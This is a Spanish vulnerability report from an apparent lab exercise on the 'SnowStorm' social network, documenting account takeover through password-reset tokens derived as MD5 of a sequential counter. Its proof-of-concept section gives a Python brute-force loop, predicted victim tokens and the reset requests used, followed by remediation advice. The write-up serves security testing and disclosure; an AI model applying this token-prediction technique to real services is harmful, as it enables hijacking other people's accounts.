🔒 CONFIDENCIAL

Reporte de Vulnerabilidad

Account Takeover mediante token de recuperación de contraseña predecible (MD5 de contador secuencial)

ID del Ticket	**VULN-2026-018**
Activo evaluado	**Red social «SnowStorm» (Lab SnowStorm)**
Severidad	**CRÍTICA** **CVSS v3.1 9.8**
Tipo	**Account Takeover por recuperación de contraseña débil — CWE-640 / CWE-330 (valores insuficientemente aleatorios)**
Cliente	**Software Seguro — Laboratorio SnowStorm**
Analista	**J. M. F. · jmf01111974@gmail.com**
Fecha del reporte	**10 de noviembre de 2026**
Versión	**1.0**

Contenido

1. Resumen Ejecutivo pág. 2
2. Detalles Técnicos pág. 2
3. Métricas CVSS pág. 3
4. Prueba de Concepto (PoC) pág. 4
5. Recomendaciones de Remediación pág. 6
6. Referencias e Historial pág. 7

1. Resumen Ejecutivo

> *Audiencia: dirección y responsables de negocio. Redactado sin tecnicismos.*

¿Qué encontramos?

Cuando un usuario olvida su contraseña, SnowStorm le envía por correo un enlace secreto para recuperarla. Descubrimos que ese enlace secreto **no es realmente impredecible**: se genera a partir de un número que

aumenta de a uno por cada pedido. Como ese número es fácil de adivinar, logramos generar el enlace de recuperación de **otra persona** sin tener acceso a su correo, y tomamos control total de su cuenta.

¿Por qué importa para el negocio?

Cualquier atacante puede apropiarse de la cuenta de cualquier usuario —incluidas cuentas de figuras públicas, administradores o clientes— cambiar su contraseña, leer su información privada y publicar o modificar contenido en su nombre. Esto habilita suplantación de identidad, fraude, extorsión y daño reputacional. El titular legítimo queda, además, bloqueado de su propia cuenta.

¿Qué tan grave es?

Severidad **CRÍTICA — CVSS 9.8**. No requiere que la víctima haga nada ni conocer su contraseña: basta con registrar una cuenta propia para observar el patrón y luego predecir el enlace de la víctima. La vulnerabilidad fue **confirmada** tomando el control de una cuenta objetivo en el laboratorio.

¿Qué hay que hacer?

Generar los enlaces de recuperación con un mecanismo criptográficamente seguro y aleatorio, vincularlos estrictamente al usuario, hacerlos de un solo uso y de corta expiración, y dejar de exponer los correos de los usuarios en las respuestas públicas de la aplicación. El detalle está en la sección 5.

Riesgo	Probabilidad	Impacto	Urgencia de acción
Toma de control de cuentas arbitrarias mediante predicción del token de recuperación desde un flujo público	Alta	Crítico	Inmediata

2. Detalles Técnicos

> *Audiencia: equipo de desarrollo y administradores de la plataforma.*

2.1 Descripción de la vulnerabilidad

El flujo de recuperación de contraseña se compone de dos endpoints: `POST /forgot` (solicitud del token) y `/recovery?t=<token>` (establecimiento de nueva contraseña). El servidor genera el token aplicando `MD5` a un contador entero **secuencial, global y de valor pequeño**. Al ser predecible, un atacante puede anticipar el token de recuperación de cualquier víctima sin acceder a su buzón, y a partir de él restablecer la contraseña y apoderarse de la cuenta (Account Takeover completo).

2.2 Flujo observado y análisis criptográfico del token

Al solicitar un reset, el servidor responde `200 OK` pero **no revela el token en la respuesta** (se envía por correo). Registrando una cuenta propia con un buzón controlado se obtuvo un token válido y se analizó su estructura. El enlace tenía la forma `…/recovery?t=748ba69d3e8d1af87f84fee909eef339` — 32 caracteres hexadecimales, consistente con un hash MD5. Se descartaron como entrada el correo y el nombre de usuario, y se confirmó que el token es el MD5 de un contador entero:

Entrada candidata al hash	Resultado	Observación
`email` de la cuenta	NO COINCIDE	md5(correo) ≠ token
`username`	NO COINCIDE	md5(usuario) ≠ token
Marca de tiempo (epoch)	NO COINCIDE	Descartada por fuerza bruta acotada
Entero secuencial (contador)	COINCIDE	token propio = `md5(1535)`

2.3 Reconocimiento: obtención del correo de la víctima

Inspeccionando las respuestas de la API (`GET /api/posts/`) se identificó que la estructura de los posts **exponía el correo de los autores**. Se obtuvo así el correo de la víctima: `juan.perez@hacklab.com`. Esta exposición de datos sensibles (CWE-200) es un facilitador directo del ataque.

2.4 Alcance

Componente vulnerable	Flujo de recuperación de contraseña (`POST /forgot` , `/recovery`), expuesto a Internet sin autenticación.
Recurso alcanzado	Cualquier cuenta de usuario de la plataforma; demostrado sobre la víctima **Juan Pérez**.
Impacto logrado	Restablecimiento de la contraseña ajena, inicio de sesión como la víctima, lectura de datos privados y modificación del perfil (cambio de nombre).

2.5 Causa raíz

El token de recuperación se deriva de un valor **no aleatorio y predecible**: el MD5 de un contador secuencial pequeño, en lugar de un generador criptográficamente seguro (CSPRNG). El contador es además **observable** (cualquiera puede registrar una cuenta y provocar un reset propio) y **compartido entre usuarios**, de modo que el valor de un atacante permite predecir el de la víctima. Se suman la falta de vinculación estricta del token al identificador del usuario y una política débil de un-solo-uso/expiración. El resultado es un mecanismo de recuperación que concede acceso a cuentas ajenas.

3. Métricas CVSS

> *Puntuación objetiva y reproducible del riesgo técnico, según CVSS v3.1.*

CVSS Base Score	Severidad	Vector
9.8	CRÍTICA	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

Desglose del vector (métricas base)

Métrica	Valor	Justificación
Attack Vector (AV)	**Network (N)**	Se explota de forma remota a través de Internet (HTTPS).
Attack Complexity (AC)	**Low (L)**	El espacio del token es ínfimo (contador secuencial pequeño); predecirlo es trivial y repetible.
Privileges Required (PR)	**None (N)**	El flujo `/forgot` es público. El registro para perfilar el contador es self-service y gratuito; el atacante provisiona su propia cuenta.
User Interaction (UI)	**None (N)**	No requiere acción alguna de la víctima.
Scope (S)	**Unchanged (U)**	El compromiso ocurre dentro de la misma autoridad de seguridad (la propia aplicación).
Confidentiality (C)	**High (H)**	Acceso total a los datos privados de la cuenta víctima.
Integrity (I)	**High (H)**	El atacante cambia la contraseña y modifica el perfil de la víctima.
Availability (A)	**High (H)**	Al cambiar la contraseña, el titular legítimo pierde el acceso a su cuenta.

> Nota de criterio: `Scope:Unchanged` porque la toma de cuenta se mantiene dentro de la autoridad de la aplicación. C/I/A en **High** por el control total de la cuenta ajena (lectura, modificación y bloqueo del titular). Verificable en la calculadora oficial: https://www.first.org/cvss/calculator/3.1

4. Prueba de Concepto (PoC)

> *Reproducción paso a paso. Cualquier persona con acceso a la página puede replicar el hallazgo.*

4.1 Requisitos previos

- Acceso HTTP a la aplicación SnowStorm (el registro es self-service, sin credenciales previas).
- Un buzón controlado para recibir el token propio (un inbox descartable público tipo yopmail/mailinator es suficiente).
- Una herramienta para enviar peticiones (navegador, `curl`, Burp) y un intérprete para calcular MD5 (`python`).

4.2 Pasos de reproducción

Paso 1 — Reconocimiento (obtener el objetivo). La API expone los correos de los autores de los posts:

```
GET /api/posts/
# La respuesta incluye el correo del autor de cada post:
# { "author": "Juan Perez", "email": "juan.perez@hacklab.com", ... }
```

Evidencia 1 — Se obtiene el correo de la víctima desde un endpoint público: facilitador del ataque (CWE-200).

Paso 2 — Perfilar el token propio. Se registra una cuenta con un correo controlado y se solicita un reset para analizar la estructura del enlace recibido:

```
POST /forgot   { "email": "atacante@yopmail.com" }
# Enlace recibido por correo:
# …/recovery?t=748ba69d3e8d1af87f84fee909eef339   (32 hex = MD5)
```

Evidencia 2 — El token es un MD5; el servidor no lo expone en la respuesta HTTP, solo por correo.

Paso 3 — Romper el token (hallar el contador). Se hashean enteros secuenciales hasta encontrar la coincidencia:

```
import hashlib
mi_token = "748ba69d3e8d1af87f84fee909eef339"
for n in range(0, 10000):
    if hashlib.md5(str(n).encode()).hexdigest() == mi_token:
        print("Contador =", n); break
# Salida ->  Contador = 1535
```

Evidencia 3 — El token propio corresponde a `md5(1535)`: el contador es secuencial, global y pequeño.

Paso 4 — Predecir el token de la víctima. Inmediatamente después del reset propio se solicita el reset de la víctima; su token será el MD5 del siguiente valor del contador:

```
POST /forgot   { "email": "juan.perez@hacklab.com" }
# Candidatos a partir del contador propio (1535):
# md5(1536) = b5a1fc2085986034e448d2ccc5bb9703   <-- esperado
# md5(1537) = d1a69640d53a32a9fb13e93d1c8f3104
# md5(1538) = b60c5ab647a27045b462934977ccad9a   (margen por concurrencia)
```

Evidencia 4 — Al ser el contador secuencial, el token de la víctima es predecible como `md5(1536)` (o n+k si hubo actividad intermedia).

Paso 5 — Account Takeover. Se visita el enlace de recuperación con el token predicho, se establece una contraseña nueva y se inicia sesión como la víctima:

```
GET /recovery?t=b5a1fc2085986034e448d2ccc5bb9703
# El servidor valida el token y permite fijar una nueva contraseña para Juan Pérez.
# Login posterior -> sesión como la víctima: control total de la cuenta.
```

Evidencia 5 — Objetivo cumplido: acceso total a una cuenta ajena sin conocer su contraseña ni acceder a su correo.

Paso 6 — Demostración de impacto. Como prueba de control, se modifica el perfil de la víctima. El formulario separa nombre y apellido, por lo que la frase se reparte para que concatene exactamente el valor requerido:

```
# Nombre: "Soy un"   Apellido: "idiota"   ->   "Soy un idiota"
# El guardado confirma la modificación del perfil ajeno (flag del laboratorio obtenida).
```

Evidencia 6 — Se confirma impacto de integridad: el atacante altera datos del perfil de la víctima.

4.3 Resultado esperado vs. obtenido

Esperado (sistema seguro)	Obtenido (sistema vulnerable)
El token de recuperación es impredecible y está vinculado solo a la víctima; nadie sin acceso a su correo puede usarlo.	El token se predice desde un contador secuencial observable y permite restablecer la contraseña de la víctima y tomar su cuenta.

> ⚠ Nota ética: la PoC se ejecutó únicamente sobre el entorno de laboratorio autorizado, sobre la cuenta objetivo indicada por el enunciado. No se accedió a datos ni cuentas fuera del alcance del desafío.

5. Recomendaciones de Remediación

> *Audiencia: equipo de desarrollo que implementará la corrección.*

5.1 Solución recomendada (prioritaria)

1) Generar tokens con un CSPRNG. Nunca derivar el token de contadores ni de datos predecibles. Usar un generador criptográficamente seguro:

```
# Python
import secrets
token = secrets.token_urlsafe(32)   # ~256 bits de entropía
# Node.js:  crypto.randomBytes(32).toString("hex")
```

2) Vinculación estricta, un solo uso y expiración corta. El token debe guardarse asociado al `user_id` en el backend, invalidarse al usarse o al cambiar la contraseña, y expirar en una ventana corta (p. ej. 15 minutos).

```
# Al validar /recovery:
# - buscar token en BD -> obtener user_id vinculado (no confiar en nada del cliente)
# - verificar no-usado y no-expirado; tras setear la clave, marcar usado
```

3) No exponer correos de usuarios (minimización de datos). Eliminar `email` de las respuestas de `GET /api/posts/` y de cualquier endpoint público (CWE-200).

5.2 Defensa en profundidad

- **Rate limiting** y detección de abuso en `/forgot` y `/recovery` (limita barridos y solicitudes masivas).
- **Respuestas genéricas** en el flujo de recuperación: no confirmar si un correo existe (evita enumeración de cuentas).
- **Nunca** incluir el token en respuestas HTTP ni en logs; enviarlo solo al correo registrado.
- **Monitoreo/alerta** ante múltiples solicitudes de reset o intentos de `/recovery` con tokens inválidos.
- Evaluar un **segundo factor** o confirmación adicional en el proceso de recuperación para cuentas sensibles.

5.3 Plan de acción

Acción	Responsable	Prioridad	Plazo	Estado
Reemplazar la generación del token por un CSPRNG con alta entropía	Equipo de desarrollo	Alta	Inmediato	Pendiente
Vincular token a `user_id`, un-solo-uso y expiración de 15 min	Equipo de desarrollo	Alta	24–72 h	Pendiente
Quitar `email` de `/api/posts/` y endpoints públicos	Desarrollo	Alta	24–72 h	Pendiente
Rate limiting y respuestas genéricas en recuperación	Desarrollo / Infraestructura	Media	7 días	Pendiente
Invalidar tokens emitidos con el esquema anterior y forzar reemisión	Seguridad / Plataforma	Alta	Con el fix	Pendiente
Test de regresión (token impredecible y vinculado) y re-test	QA / Seguridad	Alta	Con el fix	Pendiente

5.4 Verificación (re-test)

Confirmar que, con los controles aplicados, dos tokens consecutivos no guardan relación aritmética ni de hash predecible, que un token no puede usarse para una cuenta distinta de la que lo originó, que expira y es de un solo uso, y que los correos de usuarios ya no aparecen en respuestas públicas. Verificar además que el flujo legítimo de recuperación sigue operativo.

> ✓ Criterio de cierre: el ticket se marca como Cerrado cuando el re-test confirma que ningún token de recuperación es predecible ni reutilizable contra una cuenta ajena, y que la recuperación legítima permanece funcional.

6. Referencias e Historial

Referencias

- OWASP Top 10 (2021) — A07 Identification and Authentication Failures: https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
- CWE-640 — Weak Password Recovery Mechanism for Forgotten Password: https://cwe.mitre.org/data/definitions/640.html
- CWE-330 — Use of Insufficiently Random Values: https://cwe.mitre.org/data/definitions/330.html
- CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor: https://cwe.mitre.org/data/definitions/200.html
- OWASP — Forgot Password Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html
- OWASP WSTG — Testing for Weak Password Change or Reset Functionalities: https://owasp.org/www-project-web-security-testing-guide/
- CVSS v3.1 Calculator (FIRST): https://www.first.org/cvss/calculator/3.1

Historial de cambios

Versión	Fecha	Autor	Cambio
1.0	2026-11-10	J. M. F.	Creación del reporte: Account Takeover por token de recuperación predecible (MD5 de contador secuencial) y exposición de correos vía API.